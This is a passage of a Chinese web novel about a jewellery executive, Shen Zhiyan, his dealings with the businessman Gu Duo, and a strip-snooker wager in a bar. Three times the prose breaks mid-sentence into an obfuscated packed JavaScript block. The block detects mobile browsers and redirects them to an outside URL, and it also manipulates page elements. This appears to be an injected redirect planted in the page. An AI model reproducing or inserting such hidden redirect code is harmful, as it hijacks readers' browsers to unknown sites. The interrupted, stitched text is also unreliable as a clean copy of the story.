看着那辆宾利在黑夜中渐渐驶远,沈知言觉得无比荒谬。 他就这样被丢下了车?! 原因呢? 沈知言摸了摸身上,没有带钱。 他往日里出行都是随身带着秦昭或者生活助理陈思怡,手机里并没有支付宝。微信倒是安装了,但还没有绑定银行卡。 而且……沈知言看了看路灯下寂静的马路,连一辆出租车的影子都没有。 沈知言往前走了一会儿,看到了一个公交站台,他快走了几步,但是却发现光看这些站点,他根本不知道怎么回家。 他拿出手机,在搜索软件中搜索了一下京市地图,顺着链接,直接下载了一个电子地图软件,可看了一会儿,他就放弃了。 沈知言身上只带了两个变魔术用的硬币,一个还在顾铎那儿,他连公交钱都付不起。 这个时间点了,公交站台只有沈知言一个人。 他落寞地靠着公交站台的牌子,翻着手机中的联系人。 秦昭最近又是查璀璨之夜的事,又是忙工作的事,太累了,大周末的还送了自己一趟,他实在不忍心大半夜把他薅起来,开不知道多久的车来接自己。 至于其他人…… 沈知言叹了口气,不是员工就是合作商,没有谁是可以大半夜让人起来接自己的关系。 沈知言神色淡淡地拨弄着手机,他想报警,但又觉得太丢人了,实在是太丢人了。 忽然,沈知言翻到了通讯录中的一个名字,心中微微一动,一股酸涩瞬间弥漫了整个胸腔。 沈知言只犹豫了两秒就按下了拨通键,电话的呼叫音响了几声后,另一端就传来了一阵气急败坏的声音,声音中还带着睡意,“哟?这是大半夜的被招魂了?” 听到这个熟悉的中年男人的声音,沈知言鼻头一酸,竟然生出了许多委屈,颤声道:“老师……” 电话那边顿了顿,幽幽道:“八年了也没个消息,你倒先委屈上了。” 沈知言垂着头,顺着车牌直接坐到了地上,“老师,你哪天回国?我想去看你,我想你。” “哼,太阳打西边出来?”电话那头传来了一阵翻身的声音,之后说道:“你下周六过来吧。” 沈知言压了压情绪,声音有点囔囔的,笑道:“好。” 紧接着电话那头又问道:“你在哪儿呢?大半夜的,怎么有风声。” 沈知言看了看周围,“我不知道,也不知道怎么回去。有个公交站,但我没带钱。不对,公交车这个点已经停运了。” “……” 电话那头沉默了一会儿,然后教着沈知言下载了一个打车软件。 “你自己摆弄吧,我明天还要参加画展,一大早就得过去。” 说完,又道了声“注意安全”,电话那头就被挂断了。 沈知言摆弄了一会儿打车软件,发现要绑定和认证一堆东西。 他正在焦头烂额时,一辆车缓缓地停在了他的面前。 沈知言一抬头就看到了顾铎疑惑和不解的眼神。 顾铎在远处看了沈知言好半天了,发现这个人竟然大半夜的想把自己冻死在街头。 照理说,这个时间点虽然晚了,但还不至于打不到车。 但这个疑惑在沈知言将手机递给他时,就被打消了。 “顾总,你知道这个是要上传什么材料吗?” 顾铎看了看沈知言正在摆弄的打车软件,一瞬间,觉得自己真不是个东西。 “上车。” 听到顾铎的发话,沈知言也不矫情,再不上车他就真回不了家了。 车的另一侧靠向马路,虽然现在大半夜路上没什么车辆,但是习惯使然,沈知言打开了靠近站台一侧的后车门,探身道:“顾总,你往里面让让。” 顾铎无力地看了一眼沈知言,往里面错了错身,放沈知言进了车。 沈知言这次学乖了,在车里没有再说话,也没有再看顾铎。但终归是心中有疑惑,他几次的欲言又止都被顾铎看在了眼里。 “有问题就问。” 沈知言看了顾铎一眼,顿了顿,又看了一眼,犹豫着问道:“我能知道刚才我是做了什么,惹到了顾总吗?” 及时复盘人际交往细节在沈知言看来很重要,这关系到他之后和顾铎相处时要规避哪些行为。 顾铎顿了一下,神色不明地看了看沈知言,半晌后缓声开口,“换一个问题。” 他确实不知道该怎么回答,难道要说自己盯着沈知言看,被他当场抓包,进而恼羞成怒吗? 绝不可能。 沈知言观察着顾铎的神情,什么也没看出来,一时间有些挫败感。 他向来见微知著,很擅长捕捉面部表情,但眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499349|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前这个顾铎实在太会隐藏情绪了,让人难以捉摸。 想了想,沈知言决定破釜沉舟,直接解决最根本的问题。 于是他侧过头去,神色认真地看向顾铎,“顾总,你现在对我是有什么误解吗?能不能给我一个解释的机会。” 车内没有开灯,沈知言的眼睛在黑暗中显得格外清澈透亮,顾铎不知道那里面的真诚有几分真假,但漂亮是十成十的。 顾铎坦荡地直视着沈知言的眼睛,食指和大拇指轻轻摩挲。过了一会儿,他伸出手擒住了沈知言的下颌,将对方的脸掰正,使其正视前方。 “没有。” 沈知言:…… 沈知言不死心,又侧过了头去,“那我能知道天御不选择AG的原因吗?合作的事兹事体大,天御需要多方面综合考虑我可以理解,但是为什么连AG的珠宝都进不了天御的拍卖会?” 顾铎再次将沈知言的脸掰正。 “我没在拍卖会的事情上难为过AG,AG的珠宝当然可以参加下个月的拍卖会。” 顾铎的手劲很大,沈知言在得到了想要的承诺后,也懒得跟他犟了。 为了上班方便,沈知言就住在CBD核心区域的东江瑞锦。 当车辆缓缓停在他家楼下时,沈知言礼貌地道了声谢,随后打开了车门,准备下车。 临下车前,沈知言忽然想到了什么,又转身向车内看去,“顾总,刚才变魔术时的那枚硬币,能不能还我?” 顾铎没想到沈知言竟然连一枚硬币都这么在意,刚想将手摸向口袋,却鬼使神差地临时转了个弯,将手搭到了椅背上,“丢掉了。” 沈知言一怔,脸上闪过一丝失落。 那两枚硬币其实就是很普通的一元硬币,但那是他当年跑到国外时身上带的为数不多的物件之一,也是他在佛罗伦萨街头养活自己的道具。 它们在异国他乡陪了自己八年,没想到,就这么被人丢了。 但这事也怪不得顾铎,那两枚硬币的价值只是针对自己而言的,对顾铎来说,它们就只是一元钱而已。 沈知言忙焦急地追问道:“那顾总还记得丢到了哪里吗?” 顾铎见沈知言竟然为了一枚一元硬币如此着急,心中顿时有些心虚。 但这时候的坦白根本无法解释刚才的谎言——事实上,他本来也没法解释刚才自己莫名其妙的行为。 顾铎决定一条道走到黑,“就在我坐的位置附近吧?不知道放哪了。” “好。”沈知言点头,也没有多做纠缠,“太晚了,顾总路上注意安全。” 说罢,沈知言来不及等顾铎的回复,直接下车关上了车门,拨通了宋峰的电话。 “宋先生。” “……” “我到了,不用担心。我想请问一下,酒会场地打扫完了吗?” “……” “哦,是这样的,刚才在变魔术时,我的一枚一元硬币落到了酒会现场,应该就在顾总坐的位置附近,您能帮我问一下,有人在打扫时看到过吗?我可以出钱购买。” 问完后,等了好一会儿,沈知言才等到了宋峰否定的答案,一时之间,心情无比失落。 “好的,麻烦宋先生了。还有,今天的酒会,感谢宋先生的盛情。” 挂断电话后,沈知言叹了口气,正想转身回家时,这才发现顾铎的车一直没有开走。 不知道是不是车子出了什么问题,沈知言便想上前问一下是否需要自己帮忙。 可沈知言刚一抬脚,那辆黑色宾利就像是接收到了什么信号一般,发动机的声音响起,径直驶入了漆黑的夜色之中。 沈知言:…… 7. 你想偶遇谁? 酒会那天顾铎说了慌。 他和沈知言说AG的珠宝可以参加下个月的天御拍卖会,可是沈知言却再次收到了来自天御集团的“致歉函”。 得知这个消息时,沈知言正在参加国际会议,对“织梦录”的第一阶段广告吹毛求疵。 Leo:“"Iltonoètropposcuro,nonc''èaffattounsensodibellezzaelegante.Nonvisembratedioso?” (色调太暗了,完全没有唯美的感觉,你们难道不觉得它看起来很沉闷吗?) Marco:“Nonlopenso.Inquestomodosisottolinealoscintilliodeigioielliinquest''atmosfera.Leo,forseseiforteneldesign,manondirecosesciocche,vabene?” (不觉得。这样可以突出珠宝在这种氛围下的闪耀,Leo,在设计方面你可能很强,但是不要外行指导内行好吗?) Sofia:“Ancheiopensocheiltonplessivovabene.Leo,seitroppopignolo.” (我也觉得整体色调还好。Leo你太吹毛求疵了。) Leo:“Pignolo?Hochiestounapizzamargheritaevoimistatedandounapizzahawaiana!Insomma,questorisultatodipresentazionenonvaperme.” (我吹毛吹疵?我要玛格丽特披萨,你们现在却塞给我一坨夏威夷披萨!总之现在这样的呈现效果在我这里无法通过。) Marco:“Vabene.Leo,poichéseicosìesperto,perchénonteneprendiladireziu?” (好吧。Leo,既然你这么懂,不如你来导演?) “织梦录”的广告,在沈知言的严格把控下,已经返工数次了。 沈知言一意孤行地要将“织梦录”新品发布会在国内开展,本就收获了总部那群人的口诛笔伐,现在他还对广告的镜头语言指指点点,自然免不了枪林弹雨的洗礼。 而正在沈知言被总部众人联合围剿之时,线上一同参会的Alex抗着他的加特林加入了战场,开始了他的连环扫射。 Alex:“Checosa?Nonhosentitomale?Tu,undirettoreartistico,chiediaglialtricosafare?Perchétiabbiamoassunto,permangiarel''aria?” (哈?我没听错吧?你,一个美术指导,问别人该做什么?我们雇你来干嘛的,吃干饭的?) Alex:“Epoi,Leohadettochiaramentecheiltonoèscuro.??cosìdifficiledacapire?Senonsentibene,regalamileorecchie!” (另外,Leo已经明确指出色调太暗了。这很难理解吗?如果你耳朵不好使,那就去治治吧!) Sofia:“...Masefacciamograndimodificheadesso,icostisarannomoltoaltieiltemposaràmoltostretto.Inoltre,Alex,nonaveviapprovatoanchetuinprecedenza?” (……可是现在大改的话,成本会很高,时间也会很紧张,而且Alex,你之前不是也通过了吗?) Alex:“Epoi,Leoharagione,icolorisonotropposcuri.??difficiledacapire?Sehaiproblemiconleorecchie,regalale!” (我通过什么了?别瞎造我的谣,时间紧张这是你们凑合的理由?给你们多长时间了还做成这副样子?) 见Alex挺身而出,沈知言自然也想拿出肝胆相照的意气,和他一起承担血雨腥风。 然而就在这时,他手机的邮件接收提示音响了。 沈知言拿起手机一看,是天御集团发来的拒绝珠宝上拍的“致歉函”。 刚刚燃起的意气被瞬间冲散,沈知言迅速和主持人沟通了一下之后的会议议程,确认接下来没有什么有用的东西后,打了声招呼就退出了会议,将战场留给了Alex善后。 沈知言很不解,既然要拒绝,为什么在车里顾铎要哄骗自己? 他觉得应该和顾铎好好聊一聊。可是,还能怎么聊呢? 那天在车里,他已经很直白地问了对方对自己是否有什么误解,他想开诚布公地将误会一一解开,但人家说没有。 易地而处,沈知言自问,如果自己是顾铎,被人几次三番地贴上来纠缠,也会很烦。 上赶着不是买卖。 忽然,沈知言的电话铃声响了,上面显示着来电人的名字:Alex。 沈知言将电话接通后就放到一旁不管了,任由手机中传出来的噼里啪啦的叫骂声在办公室中回荡。 他开始兀自反思起之前自己和顾铎打交道的失败教训。 顾铎身为顾家掌权人,这些年肯定没少被人算计,所以多疑一些也正常,自己之前和他的接触太主动了,可能会激起他的防御心理,认为自己图谋不轨。 毕竟他们对彼此的初印象都不太好——沈知言对顾铎的初印象确实不好,中了药也不是见人就啃的理由。 但是合作要推进,关系要维护,所以,聊还是要聊的,关键是怎么不刻意地去聊。 那答案就简单了,既然打直球会激发对方的防御形态,那就采取迂回战术! 沈知言一拍桌子,恍然大悟,“我可以跟他制造偶遇啊!” 话音刚落,办公室内瞬间陷入了一片安静,他这才发现电话中Alex的咒骂声不知什么时候已经停止了。 以往Alex在总部那边帮沈知言挡下枪林弹雨之后,都会打电话过来将沈知言痛骂一顿,这次竟然只骂了这么一会儿就消停了? 沈知言拿起了电话,声音有些戏谑,“Ciaoeva?(Hi,最近怎么样?)。” “Nontantobene(不好),刚替谁挨完骂你心里没数吗?”电话那头传来一道张扬的声音,接着,那人似乎犹豫了一下,接着开口,“Leo,你在中国市场的推进是遇到了什么问题吗?” “那问题可太多了,都和你汇报过的。就像我的鉴定团队,你敢信他们的在华业务资质证书到现在都还没审批下来吗?” “……那你执意把织梦录发布时间提前,能赶上吗?” 沈知言看了看自己的行程表,自信地笑了笑,“能。” 正在这时,办公室的门被敲了两下,接着秦昭推门而入,手中拿着两份文件。 见状,沈知言忙对电话那头的Alex说道:“我这边有工作,Alex,你骂也骂完了,有问题我会汇报的,先这样?” “Aspetta(等一下)!” 沈知言刚要挂断电话,就听到Alex那边似乎还有话要说,示意秦昭等一下,便继续等着Alex的下文。 谁知等了半天,却听Alex问道:“Leo,我能知道你想去偶遇谁吗?” 沈知言失笑,就问这?于是笑道,“合作商啊,还能是谁。行了,我真的忙,Ciao。” 说罢,沈知言也不等Alex的回话,直接单方面掐断了电话。 “这是全国展会的预案,京市的大型展会批不下来,做了额外标记。” 见沈知言挂了电话,秦昭将手中的一份文件递给了他,之后又将另一份放到了办公桌上,“这是你要的顾铎的行程安排。” 沈知言先接过了展会预案,圈了一些问题出来,提了调整方向后,这才好笑地翻开了秦昭整理的顾铎的行程。 “没想到啊,阿昭你还有做私家侦探的潜质。” 这是上周酒会后沈知言让秦昭收集的,那时他是想跟这位顾总攀交情的,但现在……看来这交情也不能硬攀。 秦昭没有理会沈知言的打趣,而是冷声道:“天御集团家大业大的,可我也没见那位顾总有多忙,至少没忙到连见你一面的时间都没有。” 沈知言见自家助理话语里有些火气,便好脾气地掏出了块糖递了过去,“秦总消消火,我是要跟人家朋友打擂台的,你说人家凭什么见我?” 秦昭接了糖就熄火了,他的火本来也不是冲着沈知言来的。 秦昭最近在调查璀璨之夜那晚的事,自然知道了在5302里顾铎应该是对Leo做了什么,至于到了哪一步他不好细问,但前脚刚欺负了Leo,后脚又对他拿乔,顾铎是个王八蛋这件事毋庸置疑。 沈知言靠在椅背上,认真地翻看着手中的资料,同时暗暗咂舌,顾家涉及的领域还真是广,看得他对和天御的合作更眼馋了。 忽然,沈知言眉头一挑,他的手指在一处行程上点了点,又迅速打开了手机里刚下好不久的地图软件确认了一下,之后他一拍桌子就站了起来,脸上是掩不住的高兴。 “走,阿昭,咱们去趟广茂商厦,给老师买礼物。” 秦昭无奈地看了一眼沈知言,乖乖地给他当起了司机。 …… 沈知言带着秦昭兴冲冲地在广茂商厦磨磨蹭蹭地买了套紫砂壶茶具,又挑了个琉璃祥龙茶宠,俩人逛了不到半个小时,实在逛不动了就偃旗息鼓地钻回了车里。 车里的两个人都很安静。 一个抱着平板研究过几天沈知言要参加的宴会信息,一人戴着耳机参加设计部的产品沟通会。 这时响起的铃声就显得格外突兀。 沈知言看了看手机上的来电显示,笑了笑,接通了电话。 “喂,齐总。” “……” “呵呵,我的错,忘记给你回话了。我确认了一下行程,很抱歉啊,这两天安排得太满了,实在抽不出时间。” “……” “嗯,我理解的,我也能感受到星耀的诚意,这样吧,我现在在……”沈知言按下车窗看了看外面的商厦,“……广茂商厦给我的恩师挑选礼物,你看咱们方便在这附近谈吗?” “……” “啊……饭店就算了吧,我晚上还有约,有没有可以暂坐一会的,我也休息一下。” “……” “嗯……你也知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈知言点了点头,笑道:“这样啊,那祝你好运。” 服务生一怔,还要再说什么,就听远处的值班经理冲这边喊道:“颜青,干什么呢?过来!” 少年闻言,咬了咬嘴唇,掩住了眼中的失望,转身便离开了。 没有理会这个小插曲,沈知言和齐卓轩的合作谈得很顺利。 齐卓轩的星耀传媒虽然不算小,但远比不上天御传媒的体量,而且在时尚领域,也和鼎晟这类背靠顾家又和宝丰阁达成合作的公司没法比,因此他现在十分迫切地想拿下AG的推广,也肯为此让利。 AG现在和天御的合作一时半会谈不下来,而且国内一些时尚圈的明星目前都手握竞品代言,沈知言不想浪费在璀璨之夜上营造出的大好声势,便另辟蹊径,将目光放在了国内一些实力派演员身上。 星耀传媒旗下的几个艺人今年大多手握优质作品,稍加运作的话甚至有冲奖的可能。虽然他们目前的时尚星光不强,但和沈知言后续的战略规划比较匹配,因此推广人选是沈知言一早就选好的。 只是齐卓轩那边明显比他更急,于是在钓了齐卓轩一阵子,将利益钓到了最大后,这才达成了合作。 而二人在统一了战线之后,沈知言也没急着走,反而和齐卓轩聊起了天。这倒让齐卓轩受宠若惊,忙捡着对方想知道的东西,天南海北地说个不停。 沈知言就这样,一边和齐卓轩聊天,享受着难得的休息时间,一边不动声色地打量着二楼包厢,同时想着合理去二楼的动机。 夜色酒吧的二楼左右两侧是阻断的,顾铎的包厢在左区,那片区域有专属楼梯,不对外开放。 沈知言没有太多时间在这里守株待顾,他晚上是真的有个饭局。如果实在上不去,那在顾铎的视野范围内刷刷脸也行。 …… “徐……徐少,您饶了我吧,我……我……” 沈知言从洗手间出来时,就听到了一阵带着哭腔的求饶声,声音还挺耳熟,接着又听到一道更耳熟的。 徐胜宇嘲弄地笑道:“饶了你?那你倒是赔钱啊?八万块的西装,你这酒撒得可比你的球准多了!” 接着又是一群嚣张的起哄声。 “得了,捂什么捂,给你机会自己把握不住赖谁?” “就是!快脱。” 沈知言顺着声音过去时,就看到了一脸嚣张的徐胜宇正杵着台球杆靠在球桌旁,而方才那个叫颜青的小服务生此时正赤裸着上身,怯懦地抱着球杆,被一伙人按着解他的腰带。 见到眼前的情形,沈知言暗暗挑眉,其实通过刚才的对话,他已经猜了个大概。 无非就是小服务生或是有意或是无意地将酒洒在了徐胜宇的西装上,徐胜宇就跟他玩了个赢球减债、输球脱衣的游戏。 沈知言对“救风尘”的戏码没什么兴趣,但是现在的情况有点特殊。 他对小服务生说不上同情,但是他对“京大美术生”这个身份多少有点护犊子的心态。 而且,他讨厌徐胜宇。 如果不是这个狗东西设计自己,AG和天御的合作没有这么麻烦。 而除此之外…… 沈知言直了直脊背,目光平视,半点头也不敢抬。 这里的视野也太正了,刚好正对着二楼顾铎在的那个包厢。 8. 输几分,脱几件 “徐少,这是唱的哪一出?”沈知言挂着温和的笑走了过去。 此时那个小服务生已经被扒掉了腰带,闻声,那双湿漉漉的眼睛慌忙看向沈知言,一脸的委屈。 徐胜宇正在那笑得一脸跋扈呢,忽然见到了沈知言,眼睛“噌”的一下就亮了起来,可旋即就像是熄了火,又黯了下去。 对于沈知言。徐胜宇最近非常纠结。 那天在酒会上他被沈知言当着大家的面打了脸,心里本来是有火的,可他的火对着沈知言还真就撒不出来。 其实璀璨之夜那天的事,在他见到沈知言之后,就已经毁得肠子都青了。 要是早知道AG负责人长这样,他怎么可能把人往顾铎床上骗?他都不敢想象,要是那天中药的人是沈知言,再把人弄到自己床上,自己会他妈的有多爽。 他觉得自己是真挺喜欢沈知言的,而且这事儿他也从来没避过人。 可能起初他就是想把人弄上床,但是后来,他觉得这个人不仅长得漂亮,就连办事也漂亮……虽然漂亮的事是打自己的脸,可那也漂亮。 这就让徐胜宇陷入了纠结——他该怎么对沈知言。 按照以往徐胜宇找床伴的态度,人跟他就行,喜不喜欢不重要,喜欢这玩意儿又不能强求。 但现在,他却不确定了。 只是万万没想到,他这边还没想好该怎么对沈知言呢,这小美人却自己巴巴地跑到他面前来了。 没等徐胜宇和沈知言打招呼,颜青就挣脱了那几双控制住他的手,跑了过来。他慌忙地扯住了沈知言的衣袖,连连往他身后躲。 “先生……先生!您帮帮我吧!我……我真的是不小心才把酒打翻的!” “我艹?” 徐胜宇刚刚还在黯然地盘算着心中的纠结,就见那服务生突然来了这么一出。他蓦然瞪大了眼睛,一脸凶悍。 刚才那小子把这番做派用到他身上时,他还是挺受用的,也愿意调戏调戏。可对方现在竟然把这出用到了沈知言身上,还用来对付他自己? 徐胜宇大惊之下甚至被气乐了。 见徐胜宇这幅模样,颜青又吓得轻声啜泣着往沈知言身后躲了躲。 徐胜宇凶神恶煞地走了过来,一把拽过了颜青的手臂,二话不说就要把人提溜回来。却见沈知言适时地拽住了颜青的另一只手臂。 徐胜宇皱了皱眉,“沈总,这事儿你别管,这小子故意的!他先是招我,再是惹我,现在还敢婊我,我今天得教他认认道!” 沈知言显然对他们的恩怨没什么兴趣,只是挑眉看了看眼前的台球桌和地上的衣服。 “这是?” 徐胜宇睨了睨瑟缩的颜青,冷哼道:“他弄脏了我八万块的西装,赔不起,同意和我打一局球,他进一球,少还一万,我进一球,他脱一件。” 沈知言了然,“那现在他的账是?” 徐胜宇咧嘴一笑,“现在他还得还我七万。怎么着?沈总,你可千万别说你要帮他还。” “沈总!求求你救救我!沈总!我……我当牛做马也会报答你的!你救救我吧!”闻言,颜青忽然剧烈地挣扎了起来。 徐胜宇眉头一拧就要上前去收拾他,却听到沈知言不紧不慢地说道:“你欠徐少的钱,给我当牛做马做什么?” 话音方落,徐胜宇和颜青俱是一愣。他们都以为沈知言出头是为了救下颜青,没想到,人家都求到他头上来了,他却轻飘飘地来了这么一句。 颜青面露悲戚,徐胜宇却挑挑眉,很是满意。 沈知言也不跟他们废话,只是走到了台球桌前,点了点桌面,“过来,剩下的球还够你还的。” 刚才沈知言没帮那小服务生,这让徐胜宇很受用,连带着他那点花花肠子都被盘活了。 徐胜宇饶有性味地看了看沈知言,眼神在他的腰间打转。眸光闪动,他像是想到了什么,忽然咧嘴一笑,松开了控制住颜青的手,顺势将对方往球桌前一推。 “去,沈总叫你呢。” 颜青抱着球杆畏畏缩缩地来到沈知言身前,嗫嚅着嘴唇,神态十分可怜。 “沈总,我……我打不进的。” 沈知言觉得有些好笑,“可这不是你和徐少约定好的规则吗?” 颜青绝望地看了一眼沈知言,那双眼睛中的情绪十分复杂,一时之间难以分辨。见沈知言确实对他的求助无动于衷,颜青咬了咬牙,便俯身用球杆瞄准着球台上的白球,可犹豫了半天也不敢击出。 “啧……” 忽然,颜青感到一阵清冽好闻的气息传来,与此同时,沈知言的呼吸声落到了他的耳边。 颜青打了一个激灵,浑身的肌肉瞬间绷紧。他一回头就看到沈知言在离他很近的距离,在用他的视角看着球台。 颜青瞬间屏住了呼吸,大气都不敢喘一口。 “这个角度,你不输球谁输球?” 沈知言直起了腰,蜷着手指,在桌上的一处轻轻叩了叩。 “这里。” 颜青怯怯地看了一眼沈知言,听话地来到了对方指的那个点位。他努力定了定神,可还是找不准方向。 正在焦躁之际,颜青只觉得身体一暖,就感到有人虚虚地环住了他,温柔地握着他的手腕,调整着球杆的角度。 “砰……砰……”的响动,是颜青的心跳声。 颜青怔愣了一瞬,刚想回头,就听身后的人淡淡道:“看球。” 话音未落,那具温暖的身体就果断地抽身离开了,颜青赤裸的上身再次暴露在了众人的视线之中。 颜青抿了抿唇,将被摆好方位的球杆轻轻向后抽出了一些距离,他抬头看向沈知言,轻声问道:“沈先生,我……我该用多大的力气?” 沈知言笑了笑,“我也说不好,那就大力出奇迹。” 颜青将眼神放回了桌面,道:“好。” “啪!” 随着一声脆响,彩球应声落入了球袋。 颜青眼睛瞬间亮了起来,回头开心地看向沈知言,“沈先生!球进了!” 沈知言点点头,“嗯,恭喜你,债务又少了一万。” 整个过程中,徐胜宇牙都快咬碎了。他是想看沈知言打球,不是想看那小子卖惨勾搭沈知言。刚才他看到沈知言把身子贴到那小子的后背上时,嫉妒得眼里直冒火。 徐胜宇自然不会纵容别人当着他的面,勾引自己看上的人,于是朝四周的兄弟使了个眼色。那几个人当即就明白了徐胜宇的意思,于是捡起了地上散落的衣服,就要蛮横地将颜青拖走。 “干什么?你们要干什么!沈总!沈总!救我!” 颜青见状瞬间慌了神,忙胡乱地攀扯着沈知言的衣服。拉扯间,他的手上似乎勾到了什么东西。 突如其来的阵仗把沈知言吓了一跳,他一时不察,连带着被颜青拖着趔趄了几步,连拉带拽了半天,这才护住了自己的衣服。 “叫什么叫?你小子命好,徐哥不用你赔钱了!滚吧!”一个小黄毛骂了一声,几个人就这么推搡着将颜青连同他的衣服丢给了值班经理。 见碍眼的人终于走了,徐胜宇的面色这才平缓下来。 经过刚才沈知言教小服务生打球的冲击,此时徐胜宇眼中的欲望已经没有了丝毫的遮掩。他直白地上下打量了一圈沈知言,道:“看来沈总技术不错,咱们来一局?” 沈知言神色淡淡地看了一眼徐胜宇,摇头道:“不来。” 说完,他抬脚便要往外走,却被徐胜宇的两个手下拦住了去路。 沈知言挑眉,看向徐胜宇,“徐少,怎么个意思?” 徐胜宇笑容满面地来到沈知言身前,努力让自己的声音显得柔和,“沈总,今天你不来,就走不了。” 沈知言扫了一圈周围那些毛色花花绿绿的人,轻笑一声,反身走到球桌前,倚在了桌边,“那徐少准备怎么个玩法?” “我不难为沈总,你输了的话,就按刚才那小子的件数脱,怎么样?当然,如果我输了的话,沈总想要我做什么,尽管提。” “哦?什么都可以?”闻言,沈知言来了兴趣,“那下个月的天御拍卖会上,你能让AG的珠宝上拍?” 徐胜宇愣了一下,他确实没想到,他在这儿跟人家谈风月,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499351|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家却在这儿跟他聊事业。 想了想,徐胜宇诚实道:“这个我真做不了主,那是天御举办的,我们徐家没有说话的资格。” 沈知言顺着徐胜宇的话茬追问道:“那这事是天御谁来做主的?顾总?” 徐胜宇嗤笑一声,“这种小事哪用得着阿铎来定,拍卖会上拍品的筛选,由顾二少负责。” 顾家二少,顾楠,是顾家三房中的小辈。 如今顾家名义上被当成继承人培养的是二房的小辈顾棠。但其实不管是顾楠还是顾棠,外界都不看好,他们虽然是所谓的顾家小辈,但从年龄上来讲和顾铎相差不过五岁。 因此,只要有顾铎在一天,他们就没有出头之日,更应该被寄以厚望的其实是他们的下一代。 沈知言挑眉,一时不知道拒绝AG珠宝这件事是由顾铎授意的,还是自己在什么时候得罪了这位顾二少,于是问道:“徐少能引荐我见一下顾二少吗?” 闻言,徐胜宇连连摇头,“不能,那家伙最喜欢拿着鸡毛当令箭,你找他讨不着好,你想珠宝上拍,还不如找顾铎。” 沈知言暗道,也不是没找过,但是人家承诺了个寂寞。 不过还不等沈知言说话,徐胜宇又接着道:“不过你得等一等,阿铎最近事情有点多,他明天还要飞秘鲁和供应商谈事情,估计下周就回来了。” 这话说得轻巧,但沈知言根本等不了。天御拍卖会的拍品筛选这周截止,他可不认为自己在顾铎那儿有面子,能让对方给AG额外补一个拍品名额。 而AG的珠宝是一定要出现在拍卖会上的。 原因很简单,以顾家的威望,如果AG的珠宝被退回,不管原因如何,都会给AG珠宝打上一个“不符合鉴定标准”的标签,倘若再加上有心人引导的话,必然会损伤品牌的信誉。 更况且,沈知言要的可不仅仅是AG的珠宝上拍,他还要让AG的珠宝登上天御拍卖图录的封页,为他的下一步动作造势。 思及此,沈知言眸光微闪,他一只手随意地搭在桌沿,指尖轻轻叩击着桌面,发出有节奏的哒哒声。 “徐少,你帮我见顾楠,我和你打一场斯诺克怎么样?” 沈知言说完,抬头看着徐胜宇笑了笑,薄唇轻启,温声道:“输几分,脱几件。” 徐胜宇闻言愣了愣,旋即目光幽深,他直直地看了沈知言一会儿,走到了球桌前。 “你可是你说的,你要是反悔的话我可不心软。” “当然。那徐少答应帮我约见顾二少了?” 徐胜宇点头,“这周四晚上,夜色酒吧。” “好。”沈知言嘴唇勾了勾,从球桌旁直起身来,他径直走到了球杆架处,随意抽出了一根球杆,掂了掂,又重新回到球桌前。 他微微歪头,抬眼打量着徐胜宇,视线在对方的身上来回逡巡着,光明正大地数着衣服数量。 徐胜宇被看得暗爽,嘴角咧得根本放不下来,他十分干脆地直接告诉了沈知言,“沈总,别数了,我穿了七件,你要是想看,我现在就可以脱给你看。” 沈知言的笑容更深了,“徐少别客气,放心,我只赢你五分,内裤和袜子给你留下,我也实在是怕辣到眼睛。” 徐胜宇嗤笑:“行啊,我等着。” 徐胜宇很快就等到了,而且并没有用多长时间。 他现在说不上自己是什么心情,沈知言俯身塌腰确实好看,但他现在赤身裸体也确实很冷。 他也是没想到,沈知言不仅台球技术好,还他妈的会控分,说赢五分,还真就赢了五分。 “徐少,还得练啊。” 沈知言扫了扫徐胜宇裸露在外的四块腹肌,摇了摇头。 “周四见,别忘了。”说完,沈知言挥了挥手,将球杆随意丢给了徐胜宇的一个小弟,扭头就走了。 徐胜宇的那些杂毛小弟都憋着笑没人敢拦。 徐胜宇盯着沈知言离开的方向愣了半晌,咂摸了一下嘴,悻悻道:“靠,真辣。” 夜色酒吧一楼的闹剧散场了,可二楼包厢里,那双从头到尾盯着这一切的眼睛,却久久没有移开。 9. 顾铎的心思你别猜 夜色酒吧,二楼左区的包厢里。 顾铎站在单向玻璃前,静静地将楼下发生的一切尽收眼底。 事实上,沈知言刚走进夜色酒吧时,顾铎就盯上了他。 就连顾铎自己也无法解释,自己的视线怎么这么精准,能一下子就在人海中将人给捕捉到了。 他走进酒吧,他跟姓齐的喝酒,有人跟他搭讪,他和服务生聊天,他帮服务生解围,他把徐胜宇扒光了…… 他打球时的动作漂亮极了,从顾铎这个视角看过去刚刚好,塌下腰时,西裤包裹着修长笔直的双腿,勾勒出了臀部的形状。遗憾的是西装外套很碍眼,如果只穿衬衫就好了。 顾铎说不上现在的自己是什么心思。 最近有很多关于他和沈知言的传言,他并没想过澄清,但徐胜宇问他是不是和沈知言有什么关系时,他又否定得很干脆。 “哎?这不是沈总嘛!” 